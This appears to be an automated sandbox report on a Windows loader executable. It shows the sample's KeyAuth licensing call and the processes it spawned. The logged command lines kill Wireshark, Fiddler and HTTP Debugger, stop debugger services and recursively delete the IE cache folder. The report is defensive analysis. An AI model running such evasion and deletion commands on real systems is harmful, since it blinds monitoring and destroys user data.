CRYPT32.dll	CertFreeCertificateChain, CertGetCertificateChain, CertFreeCertificateChainEngine, CertCreateCertificateChainEngine, CryptQueryObject, CertGetNameStringA, CertFindExtension, CertAddCertificateContextToStore, CryptDecodeObjectEx, PFXImportCertStore, CryptStringToBinaryA, CertFreeCertificateContext, CertFindCertificateInStore, CertEnumCertificatesInStore, CertOpenStore, CertCloseStore
WS2_32.dll	ntohl, gethostname, sendto, recvfrom, freeaddrinfo, getaddrinfo, select, __WSAFDIsSet, ioctlsocket, htonl, accept, WSACleanup, WSAStartup, WSAIoctl, WSASetLastError, socket, setsockopt, ntohs, htons, getsockopt, getsockname, getpeername, connect, bind, WSAGetLastError, send, recv, closesocket, listen
VCRUNTIME140.dll	__std_exception_destroy, __std_exception_copy, memcpy, memcmp, _CxxThrowException, __std_terminate, __C_specific_handler, strchr, __current_exception_context, strrchr, __current_exception, memchr, memset, strstr, memmove
VCRUNTIME140_1.dll	__CxxFrameHandler4
api-ms-win-crt-runtime-l1-1-0.dll	_errno, __sys_nerr, _invalid_parameter_noinfo_noreturn, strerror, exit, _getpid, system, _beginthreadex, _register_thread_local_exe_atexit_callback, terminate, _configure_narrow_argv, _initialize_narrow_environment, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _cexit, _seh_filter_exe, _set_app_type, _c_exit, _get_initial_narrow_environment, _initterm, _initterm_e, _exit, __p___argv, __p___argc
api-ms-win-crt-heap-l1-1-0.dll	_callnewh, calloc, realloc, malloc, _set_new_mode, free
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vfprintf, fseek, feof, __p__commode, fputc, ftell, _lseeki64, _read, _write, _close, _open, __acrt_iob_func, __stdio_common_vsscanf, fgets, fputs, fopen, fflush, __stdio_common_vsprintf, fread, fclose, _set_fmode, fwrite
api-ms-win-crt-convert-l1-1-0.dll	atoi, strtoul, strtoull, strtoll, strtol, strtod
api-ms-win-crt-locale-l1-1-0.dll	localeconv, _configthreadlocale
api-ms-win-crt-time-l1-1-0.dll	_time64, _gmtime64
api-ms-win-crt-string-l1-1-0.dll	strpbrk, strcspn, strcmp, strncmp, strncpy, strspn, isupper, tolower, _strdup
api-ms-win-crt-utility-l1-1-0.dll	qsort
api-ms-win-crt-filesystem-l1-1-0.dll	_stat64, _access, _unlink, _fstat64
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, _dclass

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 16:45:23.709136009 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:23.709177971 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:23.709235907 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:23.722959042 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:23.722982883 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.197211027 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.197279930 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:24.200678110 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:24.200687885 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.200999022 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.203989983 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:24.251326084 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.395649910 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.395735025 CET	443	49760	104.26.1.5	192.168.2.9
Jan 14, 2025 16:45:24.395788908 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:24.407567978 CET	49760	443	192.168.2.9	104.26.1.5
Jan 14, 2025 16:45:24.407581091 CET	443	49760	104.26.1.5	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 16:45:23.696974993 CET	59143	53	192.168.2.9	1.1.1.1
Jan 14, 2025 16:45:23.704163074 CET	53	59143	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 16:45:23.696974993 CET	192.168.2.9	1.1.1.1	0xc759	Standard query (0)	keyauth.win	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 16:45:23.704163074 CET	1.1.1.1	192.168.2.9	0xc759	No error (0)	keyauth.win	104.26.1.5	A (IP address)	IN (0x0001)	false
Jan 14, 2025 16:45:23.704163074 CET	1.1.1.1	192.168.2.9	0xc759	No error (0)	keyauth.win	104.26.0.5	A (IP address)	IN (0x0001)	false
Jan 14, 2025 16:45:23.704163074 CET	1.1.1.1	192.168.2.9	0xc759	No error (0)	keyauth.win	172.67.72.57	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

keyauth.win

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49760	104.26.1.5	443	3852	C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 15:45:24 UTC	128	OUT	POST /api/1.1/ HTTP/1.1 Host: keyauth.win Accept: / Content-Length: 74 Content-Type: application/x-www-form-urlencoded
2025-01-14 15:45:24 UTC	74	OUT	Data Raw: 74 79 70 65 3d 69 6e 69 74 26 76 65 72 3d 32 2e 36 26 6e 61 6d 65 3d 4c 6f 61 64 65 72 20 50 72 69 6e 63 69 70 61 6c 20 7c 20 50 72 69 76 61 74 65 20 53 74 6f 72 65 26 6f 77 6e 65 72 69 64 3d 39 57 49 76 54 56 4a 61 39 6d Data Ascii: type=init&ver=2.6&name=Loader Principal \| Private Store&ownerid=9WIvTVJa9m
2025-01-14 15:45:24 UTC	1320	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 15:45:24 GMT Content-Type: application/json; charset=UTF-8 Content-Length: 475 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KC0G2Ru5e1WNnkFS%2BUKvodWzWAjkec3TPBQ8agJGJKj95AIsrwU14AORNW9NJGndKqBt95xSxHl7Y0wGRN5r6Aig6fu0on7zCxM6J%2BRl2BAoOD6kplLfc2OEsR6R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Acknowledge: Credit to VaultCord.com X-Powered-By: VaultCord.com content-security-policy: upgrade-insecure-requests permissions-policy: accelerometer=(), camera=(), fullscreen=, geolocation=(self), gyroscope=(), microphone=(), payment= referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=31536000; includeSubDomains x-content-security-policy: img-src ; media-src data:; x-content-type-options: nosniff x-frame-options: DENY x-xss-protection: 1; mode=block Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 901ec0bec8fb8c89-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2106&min_rtt=2085&rtt_var=797&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2344&recv_bytes=862&delivery_rate=1400479&cwnd=202&unsent_bytes=0&cid=93cee7331e3a2f2e&ts=208&x=0"
2025-01-14 15:45:24 UTC	49	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 36 38 2c 22 6d 65 73 73 61 67 65 22 3a 22 49 6e 69 74 69 61 6c 69 7a 65 64 22 Data Ascii: {"success":true,"code":68,"message":"Initialized"
2025-01-14 15:45:24 UTC	426	IN	Data Raw: 2c 22 73 65 73 73 69 6f 6e 69 64 22 3a 22 30 33 34 61 38 38 64 38 22 2c 22 61 70 70 69 6e 66 6f 22 3a 7b 22 6e 75 6d 55 73 65 72 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 6e 75 6d 4f 6e 6c 69 6e 65 55 73 65 72 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 6e 75 6d 4b 65 79 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 32 2e 36 22 2c 22 63 75 73 74 6f 6d 65 72 50 Data Ascii: ,"sessionid":"034a88d8","appinfo":{"numUsers":"N/A - Use fetchStats() function in latest example","numOnlineUsers":"N/A - Use fetchStats() function in latest example","numKeys":"N/A - Use fetchStats() function in latest example","version":"2.6","customerP

Target ID:	0
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\PlusPrivStoreAtt116.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\PlusPrivStoreAtt116.exe"
Imagebase:	0x7ff6029a0000
File size:	510'464 bytes
MD5 hash:	D4A125241862EB0A4BD1AFCF362D914F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:45:20
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff629830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff70f010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 4476, Parent PID: 1244

General

Target ID:	15
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 2716, Parent PID: 4764

General

Target ID:	17
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 2656, Parent PID: 1980

General

Target ID:	19
Start time:	10:45:21
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:45:22
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 6104, Parent PID: 5972

General

Target ID:	21
Start time:	10:45:22
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff629830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:45:22
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 5748, Parent PID: 5580

General

Target ID:	23
Start time:	10:45:22
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff629830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:45:22
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3304, Parent PID: 3852

General

Target ID:	25
Start time:	10:45:23
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 1004, Parent PID: 3304

General

Target ID:	26
Start time:	10:45:23
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:45:23
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:45:23
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff79e3d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff629830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff629830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:45:24
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff716840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	98

Executed Functions

Function 00007FF6029CFEA0 Relevance: 178.5, APIs: 31, Strings: 70, Instructions: 1702stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CFF78
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029CFF85
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0058
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D00DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0183
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D021A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D02E5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D031D
strchr.VCRUNTIME140 ref: 00007FF6029D0497
strchr.VCRUNTIME140 ref: 00007FF6029D04AA
strchr.VCRUNTIME140 ref: 00007FF6029D04BC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D05C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0633
memcpy.VCRUNTIME140 ref: 00007FF6029D065A
strchr.VCRUNTIME140 ref: 00007FF6029D066E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0682
strstr.VCRUNTIME140 ref: 00007FF6029D08B8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D09F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0B69

Part of subcall function 00007FF6029C96C0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C9733

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0C1C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0CA1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0EFA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0F10
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D0F1F

Part of subcall function 00007FF6029D2270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22CA

strchr.VCRUNTIME140 ref: 00007FF6029D14D7
strchr.VCRUNTIME140 ref: 00007FF6029D14EA
strchr.VCRUNTIME140 ref: 00007FF6029D14FC

Part of subcall function 00007FF6029D2270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22EA
Part of subcall function 00007FF6029D2270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22F3

strchr.VCRUNTIME140 ref: 00007FF6029D174F
strchr.VCRUNTIME140 ref: 00007FF6029D1762
strchr.VCRUNTIME140 ref: 00007FF6029D1774

Part of subcall function 00007FF6029D48A0: strchr.VCRUNTIME140 ref: 00007FF6029D4986
Part of subcall function 00007FF6029D48A0: strchr.VCRUNTIME140 ref: 00007FF6029D4999
Part of subcall function 00007FF6029D48A0: strchr.VCRUNTIME140 ref: 00007FF6029D49AB

Strings

OPTIONS, xrefs: 00007FF6029D000B
Content-Range: bytes %s/%I64d, xrefs: 00007FF6029D0BB6
http, xrefs: 00007FF6029D081B
Transfer-Encoding:, xrefs: 00007FF6029D044E
Chunky upload is not supported by HTTP 1.0, xrefs: 00007FF6029D059C
Host: %s%s%s:%d, xrefs: 00007FF6029D0782
1.1, xrefs: 00007FF6029D0C0E
%s?%s, xrefs: 00007FF6029D0075
Content-Type: application/x-www-form-urlencoded, xrefs: 00007FF6029D16D1
Content-Length, xrefs: 00007FF6029D12B4, 00007FF6029D1409, 00007FF6029D168E
